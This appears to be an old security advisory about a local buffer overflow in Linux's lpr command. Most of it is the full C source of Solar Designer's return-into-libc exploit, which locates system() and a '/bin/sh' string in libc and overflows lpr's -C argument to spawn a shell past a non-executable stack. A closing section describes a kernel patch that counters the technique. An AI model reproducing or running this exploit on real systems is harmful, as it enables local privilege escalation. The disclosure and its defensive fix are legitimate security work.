COMMAND
lpr
SYSTEMS AFFECTED
Linux
PROBLEM
Solar Designer posted a return-into-libc overflow (local only)
exploit. This one is simple, so it looks like a good starting
point. Note: it doesn't contain any assembly code, there's only
a NOP opcode, but this one will most likely not be used, it's for
the case when system() is occasionally at a 256 byte boundary.
The exploit also doesn't have any fixed addresses. Be sure to
read comments in the exploit before you look at the next one (see
xrm on Linux page).
>-- lpr.c --<
/*
* /usr/bin/lpr buffer overflow exploit for Linux with
* non-executable stack
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#define SIZE 1200 /* Amount of data to overflow with */
#define ALIGNMENT 11 /* 0, 8, 1..3, 9..11 */
#define ADDR_MASK 0xFF000000
char buf[SIZE];
int *ptr;
int pid, pc, shell, step;
int started = 0;
jmp_buf env;
void handler() {
started++;
}
/* SIGSEGV handler, to search in libc */
void fault() {
if (step < 0) {
/* Change the search direction */
longjmp(env, 1);
} else {
/* The search failed in both directions */
puts("\"/bin/sh\" not found, bad luck");
exit(1);
}
}
void error(char *fn) {
perror(fn);
if (pid > 0) kill(pid, SIGKILL);
exit(1);
}
void main() {
signal(SIGUSR1, handler);
/* Create a child process to trace */
if ((pid = fork()) < 0) error("fork");
if (!pid) {
/* Send the parent a signal, so it starts tracing */
kill(getppid(), SIGUSR1);
/* A loop since the parent may not start tracing immediately */
while (1) system("");
}
/* Wait until the child tells us the next library call will be system() */
while (!started);
if (ptrace(PTRACE_ATTACH, pid, 0, 0)) error("PTRACE_ATTACH");
/* Single step the child until it gets out of system() */
do {
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) != ((int)main & ADDR_MASK));
/* Single step the child until it calls system() again */
do {
waitpid(pid, NULL, WUNTRACED);
pc = ptrace(PTRACE_PEEKUSR, pid, 4*EIP, 0);
if (pc == -1) error("PTRACE_PEEKUSR");
if (ptrace(PTRACE_SINGLESTEP, pid, 0, 0)) error("PTRACE_SINGLESTEP");
} while ((pc & ADDR_MASK) == ((int)main & ADDR_MASK));
/* Kill the child, we don't need it any more */
if (ptrace(PTRACE_KILL, pid, 0, 0)) error("PTRACE_KILL");
pid = 0;
printf("system() found at: %08x\n", pc);
/* Let's hope there's an extra NOP if system() is 256 byte aligned */
if (!(pc & 0xFF))
if (*(unsigned char *)--pc != 0x90) pc = 0;
/* There's no easy workaround for these (except for using another function) */
if (!(pc & 0xFF00) || !(pc & 0xFF0000) || !(pc & 0xFF000000)) {
puts("Zero bytes in address, bad luck");
exit(1);
}
/*
* Search for a "/bin/sh" in libc until we find a copy with no zero bytes
* in its address. To avoid specifying the actual address that libc is
* mmap()ed to we search from the address of system() in both directions
* until a SIGSEGV is generated.
*/
if (setjmp(env)) step = 1; else step = -1;
shell = pc;
signal(SIGSEGV, fault);
do
while (memcmp((void *)shell, "/bin/sh", 8)) shell += step;
while (!(shell & 0xFF) || !(shell & 0xFF00) || !(shell & 0xFF0000));
signal(SIGSEGV, SIG_DFL);
printf("\"/bin/sh\" found at: %08x\n", shell);
/*
* When returning into system() the stack should look like:
* pointer to "/bin/sh"
* return address placeholder
* stack pointer -> pointer to system()
*
* The buffer could be filled with this 12 byte pattern, but then we would
* need to try up to 12 values for the alignment. That's why a 16 byte pattern
* is used instead:
* pointer to "/bin/sh"
* pointer to "/bin/sh"
* stack pointer (case 1) -> pointer to system()
* stack pointer (case 2) -> pointer to system()
*
* Any of the two stack pointer values will do, and only up to 8 values for
* the alignment need to be tried.
*/
memset(buf, 'x', ALIGNMENT);
ptr = (int *)(buf + ALIGNMENT);
while ((char *)ptr < buf + SIZE - 4*sizeof(int)) {
*ptr++ = pc; *ptr++ = pc;
*ptr++ = shell; *ptr++ = shell;
}
buf[SIZE - 1] = 0;
execl("/usr/bin/lpr", "lpr", "-C", buf, NULL);
error("execl");
}
>-- lpr.c --<
SOLUTION
You can find the fixed version of my non-executable stack Linux
kernel patch at:
http://www.false.com/security/linux-stack/
The problem is fixed by changing the address shared libraries are
mmap()ed at in such a way so it always contains a zero byte. With
most vulnerabilities the overflow is done with an ASCIIZ string,
so this prevents the attacker from passing parameters to the
function, and from filling the buffer with a pattern (requires to
know the exact offset of the return address). It also fixes a
bug with the binary header flag which allowed local users to
bypass the patch.
And one more good thing: Solar added a symlink-in-/tmp fix,
originally by Andrew Tridgell. He changed it to prevent from using
hard links too, by simply not allowing non-root users to create
hard links to files they don't own, in +t directories. This seems
to be the desired behavior anyway, since otherwise users couldn't
remove such links they just created. He also added exploit attempt
logging, this code is shared with the non-executable stack stuff,
and was the reason to make it a single patch instead of two
separate ones. You can enable them separately anyway.